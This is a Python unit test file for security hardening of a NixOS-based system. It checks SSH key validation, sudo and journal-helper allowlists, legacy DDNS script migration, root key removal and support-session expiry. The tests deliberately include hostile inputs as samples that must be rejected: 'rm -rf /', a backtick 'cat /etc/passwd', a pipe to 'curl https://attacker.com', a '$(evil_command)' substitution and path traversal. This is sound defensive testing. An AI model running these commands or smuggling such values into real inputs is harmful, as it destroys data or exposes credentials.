"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
|
||||
)
|
||||
|
||||
def test_valid_ed25519_accepted(self):
|
||||
result = _validate_ssh_pubkey(self.VALID_ED25519)
|
||||
self.assertEqual(result, self.VALID_ED25519)
|
||||
|
||||
def test_unsupported_algorithm_rsa_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
|
||||
|
||||
def test_dss_algorithm_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
|
||||
|
||||
def test_multiline_injection_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
|
||||
|
||||
def test_options_prefix_not_accepted(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
|
||||
|
||||
def test_empty_key_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("")
|
||||
|
||||
def test_control_character_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
|
||||
|
||||
def test_malformed_base64_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
|
||||
|
||||
def test_too_short_payload_rejected(self):
|
||||
short_b64 = base64.b64encode(b"\x00" * 10).decode()
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
|
||||
|
||||
def test_missing_key_body_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-ed25519")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Auth-exempt paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestAuthExemptPaths(unittest.TestCase):
|
||||
"""/api/reboot and status endpoints must not be in the auth-exempt set."""
|
||||
|
||||
def _get_exempt_paths(self):
|
||||
import re
|
||||
src = open(
|
||||
os.path.join(_REPO_ROOT, "app", "sovran_systemsos_web", "server.py")
|
||||
).read()
|
||||
m = re.search(r"_AUTH_EXEMPT_PATHS\s*=\s*\{([^}]*)\}", src)
|
||||
self.assertIsNotNone(m, "_AUTH_EXEMPT_PATHS not found in server.py")
|
||||
return {p.strip().strip('"') for p in m.group(1).split(",") if p.strip().strip('"')}
|
||||
|
||||
def test_reboot_not_exempt(self):
|
||||
self.assertNotIn("/api/reboot", self._get_exempt_paths())
|
||||
|
||||
def test_updates_status_not_exempt(self):
|
||||
self.assertNotIn("/api/updates/status", self._get_exempt_paths())
|
||||
|
||||
def test_rebuild_status_not_exempt(self):
|
||||
self.assertNotIn("/api/rebuild/status", self._get_exempt_paths())
|
||||
|
||||
def test_login_still_exempt(self):
|
||||
self.assertIn("/api/login", self._get_exempt_paths())
|
||||
|
||||
def test_ping_still_exempt(self):
|
||||
self.assertIn("/api/ping", self._get_exempt_paths())
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tech-support.nix validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestTechSupportSudoRules(unittest.TestCase):
|
||||
"""tech-support.nix must not grant broad privileges."""
|
||||
|
||||
def _get_nix_content(self):
|
||||
path = os.path.join(_REPO_ROOT, "modules", "core", "tech-support.nix")
|
||||
with open(path) as f:
|
||||
return f.read()
|
||||
|
||||
def test_no_nano_custom_nix(self):
|
||||
self.assertNotIn("nano /etc/nixos/custom.nix", self._get_nix_content())
|
||||
|
||||
def test_no_nano_configuration_nix(self):
|
||||
self.assertNotIn("nano /etc/nixos/configuration.nix", self._get_nix_content())
|
||||
|
||||
def test_no_unrestricted_nixos_rebuild(self):
|
||||
self.assertNotIn("nixos-rebuild switch", self._get_nix_content())
|
||||
|
||||
def test_no_wildcard_systemctl_restart(self):
|
||||
self.assertNotIn("systemctl restart *", self._get_nix_content())
|
||||
|
||||
def test_journalctl_wildcard_removed(self):
|
||||
"""The bare 'journalctl *' sudo rule must be gone."""
|
||||
content = self._get_nix_content()
|
||||
self.assertNotIn('"/run/current-system/sw/bin/journalctl *"', content)
|
||||
self.assertNotIn("journalctl *", content.replace("journal-helper", ""))
|
||||
|
||||
def test_journal_helper_referenced(self):
|
||||
"""The restricted journal helper must be referenced instead."""
|
||||
content = self._get_nix_content()
|
||||
self.assertIn("sovran-journal-helper", content)
|
||||
|
||||
def test_sovran_hub_web_service_referenced(self):
|
||||
"""tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
|
||||
content = self._get_nix_content()
|
||||
self.assertIn("sovran-hub-web.service", content)
|
||||
self.assertNotIn('"sovran-hub.service"', content)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Journal helper — unit allowlist validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestJournalHelper(unittest.TestCase):
|
||||
"""The restricted journal helper must enforce the explicit unit allowlist."""
|
||||
|
||||
def _run_helper(self, args):
|
||||
"""Run the helper script and return (returncode, stderr)."""
|
||||
import subprocess
|
||||
helper = os.path.join(_REPO_ROOT, "modules", "core", "sovran-journal-helper.py")
|
||||
result = subprocess.run(
|
||||
[sys.executable, helper] + args,
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
return result.returncode, result.stderr
|
||||
|
||||
# ── Allowlisted units ──
|
||||
def test_sovran_hub_web_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_caddy_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_bitcoind_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_lnd_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "lnd.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
# ── Rejected units ──
|
||||
def test_unapproved_service_rejected(self):
|
||||
rc, stderr = self._run_helper(["--unit", "sshd.service"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_old_sovran_hub_service_rejected(self):
|
||||
"""The old nonexistent sovran-hub.service must now be rejected."""
|
||||
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_directory_flag_rejected(self):
|
||||
rc, stderr = self._run_helper(["--directory", "/var/log"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_arbitrary_path_rejected(self):
|
||||
rc, stderr = self._run_helper(["/etc/passwd"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_file_flag_rejected(self):
|
||||
rc, stderr = self._run_helper(["--file", "/var/log/journal/foo"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_no_args_rejected(self):
|
||||
"""Whole-journal queries (no --unit) must be rejected."""
|
||||
rc, stderr = self._run_helper([])
|
||||
self.assertNotEqual(rc, 0)
|
||||
# Should mention --unit requirement
|
||||
self.assertIn("unit", stderr.lower())
|
||||
|
||||
def test_lines_only_no_unit_rejected(self):
|
||||
"""--lines without --unit is a whole-journal query and must be rejected."""
|
||||
rc, stderr = self._run_helper(["--lines", "50"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
|
||||
def test_lines_flag_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_lines_too_large_rejected(self):
|
||||
rc, stderr = self._run_helper(["--lines", "99999"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_negative_lines_rejected(self):
|
||||
rc, stderr = self._run_helper(["--lines", "-1"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
|
||||
def test_since_with_valid_date_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service", "--since", "2024-01-01"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_since_with_path_rejected(self):
|
||||
rc, stderr = self._run_helper(["--since", "/etc/passwd"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_output_short_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service", "--output", "short"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_output_arbitrary_rejected(self):
|
||||
rc, stderr = self._run_helper(["--output", "export --to /tmp/out"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_invalid_unit_name_rejected(self):
|
||||
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_unit_without_suffix_rejected(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Legacy Njalla migration — production-backed tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNjallaLegacyMigration(unittest.TestCase):
|
||||
"""migrate_legacy_njalla_script must not execute or preserve malicious content.
|
||||
|
||||
All tests call the exact production implementation from support_ops with
|
||||
temporary files; no logic is duplicated here.
|
||||
"""
|
||||
|
||||
def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
|
||||
"""Run the production migration against temp files, return (urls, script_archived)."""
|
||||
captured_urls: list[str] = []
|
||||
saved = [False]
|
||||
|
||||
def _load():
|
||||
return []
|
||||
|
||||
def _save(urls):
|
||||
captured_urls.extend(urls)
|
||||
saved[0] = True
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
script_path = os.path.join(tmpdir, "njalla.sh")
|
||||
with open(script_path, "w") as f:
|
||||
f.write(script_content)
|
||||
os.chmod(script_path, 0o755)
|
||||
|
||||
support_ops.migrate_legacy_njalla_script(
|
||||
script_path,
|
||||
_validate_ddns_url,
|
||||
_save,
|
||||
_load,
|
||||
)
|
||||
|
||||
archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
|
||||
return captured_urls, archived
|
||||
|
||||
def test_valid_unquoted_curl_line_extracted(self):
|
||||
script = (
|
||||
"#!/usr/bin/env bash\n"
|
||||
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
|
||||
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
|
||||
)
|
||||
urls, archived = self._run_migration(script)
|
||||
self.assertEqual(len(urls), 1)
|
||||
self.assertIn("njal.la", urls[0])
|
||||
self.assertTrue(archived, "script should be archived after successful migration")
|
||||
|
||||
def test_valid_quoted_curl_line_extracted(self):
|
||||
"""Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
|
||||
script = (
|
||||
"#!/usr/bin/env bash\n"
|
||||
'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
|
||||
)
|
||||
urls, archived = self._run_migration(script)
|
||||
self.assertEqual(len(urls), 1, "quoted URL must be extracted")
|
||||
self.assertIn("njal.la", urls[0])
|
||||
|
||||
def test_command_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_backtick_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_pipe_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_dollar_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=$(evil_command)\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_non_njalla_url_not_extracted(self):
|
||||
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_http_url_not_extracted(self):
|
||||
script = "curl http://njal.la/update/?k=TOKEN\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_semicolons_in_url_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_newline_injection_not_extracted(self):
|
||||
script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_malformed_quotes_not_extracted(self):
|
||||
"""Half-open quote must not match."""
|
||||
script = 'curl "https://njal.la/update/?k=TOKEN\n'
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_failed_persistence_leaves_script_untouched(self):
|
||||
"""If save_fn raises, the script must NOT be archived."""
|
||||
def _fail_save(urls):
|
||||
raise OSError("disk full")
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
script_path = os.path.join(tmpdir, "njalla.sh")
|
||||
script_content = (
|
||||
"#!/usr/bin/env bash\n"
|
||||
"curl https://njal.la/update/?h=test&k=TOKEN\n"
|
||||
)
|
||||
with open(script_path, "w") as f:
|
||||
f.write(script_content)
|
||||
os.chmod(script_path, 0o755)
|
||||
|
||||
support_ops.migrate_legacy_njalla_script(
|
||||
script_path,
|
||||
_validate_ddns_url,
|
||||
_fail_save,
|
||||
lambda: [],
|
||||
)
|
||||
|
||||
# Script must still be executable (not archived)
|
||||
mode = oct(os.stat(script_path).st_mode)[-3:]
|
||||
self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Legacy root key removal — production-backed tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestLegacyRootKeyRemoval(unittest.TestCase):
|
||||
"""remove_legacy_root_key must remove only the exact historical key blob.
|
||||
|
||||
All tests call the exact production implementation from support_ops with
|
||||
temporary files; no simulation is used.
|
||||
"""
|
||||
|
||||
TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
|
||||
|
||||
def _do_removal(self, file_content: str) -> tuple[bool, str]:
|
||||
"""Run production key removal, return (changed, result_content)."""
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
||||
with open(auth_keys, "w") as f:
|
||||
f.write(file_content)
|
||||
changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
|
||||
with open(auth_keys) as f:
|
||||
result = f.read()
|
||||
return changed, result
|
||||
|
||||
def test_exact_historical_key_removed(self):
|
||||
"""The exact historical key must be removed regardless of comment."""
|
||||
lines = (
|
||||
"ssh-ed25519 AAAA admin@host\n"
|
||||
f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
||||
"ssh-ed25519 CCCC another@host\n"
|
||||
)
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertTrue(changed)
|
||||
self.assertNotIn(self.TARGET_BLOB, result)
|
||||
self.assertIn("admin@host", result)
|
||||
self.assertIn("another@host", result)
|
||||
|
||||
def test_same_comment_different_blob_preserved(self):
|
||||
"""A key with 'free@nixos' comment but different blob must NOT be removed."""
|
||||
lines = (
|
||||
"ssh-ed25519 DIFFERENTBLOB free@nixos\n"
|
||||
)
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertFalse(changed)
|
||||
self.assertIn("DIFFERENTBLOB", result)
|
||||
|
||||
def test_legacy_key_with_different_comment_removed(self):
|
||||
"""The exact blob with any comment (or no comment) must be removed."""
|
||||
lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertTrue(changed)
|
||||
self.assertNotIn(self.TARGET_BLOB, result)
|
||||
|
||||
def test_unrelated_keys_preserved(self):
|
||||
lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertFalse(changed)
|
||||
self.assertEqual(result, lines)
|
||||
|
||||
def test_empty_file_unchanged(self):
|
||||
changed, result = self._do_removal("")
|
||||
self.assertFalse(changed)
|
||||
self.assertEqual(result, "")
|
||||
|
||||
def test_comment_line_preserved(self):
|
||||
lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertFalse(changed)
|
||||
self.assertEqual(result, lines)
|
||||
|
||||
def test_missing_file_returns_false(self):
|
||||
result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
|
||||
self.assertFalse(result)
|
||||
|
||||
def test_audit_callback_called(self):
|
||||
events = []
|
||||
lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
||||
with open(auth_keys, "w") as f:
|
||||
f.write(lines)
|
||||
support_ops.remove_legacy_root_key(
|
||||
auth_keys, self.TARGET_BLOB,
|
||||
audit_fn=lambda event, details="": events.append(event),
|
||||
)
|
||||
self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Support session expiry — production-backed tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSupportSessionExpiration(unittest.TestCase):
|
||||
"""expire_if_stale must enforce expiry and the session_id guard.
|
||||
|
||||
All tests call the exact production implementation from support_ops with
|
||||
temporary files and injectable clock/disable functions.
|
||||
"""
|
||||
|
||||
def _write_session(self, tmpdir, **fields) -> str:
|
||||
status_file = os.path.join(tmpdir, "support-session-status")
|
||||
with open(status_file, "w") as f:
|
||||
json.dump(fields, f)
|
||||
return status_file
|
||||
|
||||
def test_future_expiry_not_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertFalse(result)
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_past_expiry_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertTrue(result)
|
||||
self.assertTrue(disabled[0])
|
||||
|
||||
def test_no_expiry_recent_session_not_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
|
||||
result = support_ops.expire_if_stale(sf, clock_fn=time.time)
|
||||
self.assertFalse(result)
|
||||
|
||||
def test_no_expiry_old_session_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertTrue(result)
|
||||
self.assertTrue(disabled[0])
|
||||
|
||||
def test_session_id_guard_matching_expires(self):
|
||||
"""Timer with matching session_id must expire the session."""
|
||||
import time
|
||||
sid = "test-session-id"
|
||||
exp = time.time() - 1
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
session_id=sid,
|
||||
expected_expiry=exp,
|
||||
)
|
||||
self.assertTrue(result)
|
||||
self.assertTrue(disabled[0])
|
||||
|
||||
def test_stale_timer_does_not_revoke_replacement_session(self):
|
||||
"""A timer for an old session must not revoke a newer replacement session."""
|
||||
import time
|
||||
old_sid = "old-session"
|
||||
new_sid = "new-session"
|
||||
exp = time.time() - 1
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
# Current session has the NEW session id
|
||||
sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
|
||||
disabled = [False]
|
||||
# Timer fires with OLD session id
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
session_id=old_sid, # stale — doesn't match stored new_sid
|
||||
expected_expiry=exp,
|
||||
)
|
||||
self.assertFalse(result, "stale timer must not revoke replacement session")
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_stale_expiry_mismatch_does_not_revoke(self):
|
||||
"""A timer with mismatched expected_expiry must not revoke."""
|
||||
import time
|
||||
sid = "same-sid"
|
||||
exp = time.time() - 1
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
session_id=sid,
|
||||
expected_expiry=exp, # differs from stored exp+999
|
||||
)
|
||||
self.assertFalse(result)
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_startup_reconciliation_with_live_session(self):
|
||||
"""On startup, a live session must not be expired."""
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertFalse(result)
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_audit_callback_receives_support_expired_event(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
||||
events = []
|
||||
support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
audit_fn=lambda event, details="": events.append(event),
|
||||
)
|
||||
self.assertIn("SUPPORT_EXPIRED", events)
|
||||
|
||||
def test_zero_enabled_at_not_expired(self):
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, enabled_at=0)
|
||||
result = support_ops.expire_if_stale(sf)
|
||||
self.assertFalse(result)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Cron composition
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestCronComposition(unittest.TestCase):
|
||||
"""configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
|
||||
|
||||
def _get_config_content(self):
|
||||
path = os.path.join(_REPO_ROOT, "configuration.nix")
|
||||
with open(path) as f:
|
||||
return f.read()
|
||||
|
||||
def test_cron_not_disabled(self):
|
||||
"""services.cron.enable = false must not appear in configuration.nix."""
|
||||
self.assertNotIn("services.cron.enable = false", self._get_config_content())
|
||||
|
||||
def test_sovran_ddns_update_timer_in_njalla(self):
|
||||
"""The periodic Njalla updater must be the systemd timer, not a cron job."""
|
||||
path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
|
||||
with open(path) as f:
|
||||
content = f.read()
|
||||
self.assertIn("sovran-ddns-update", content)
|
||||
self.assertNotIn("services.cron", content)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in new issue
Block a user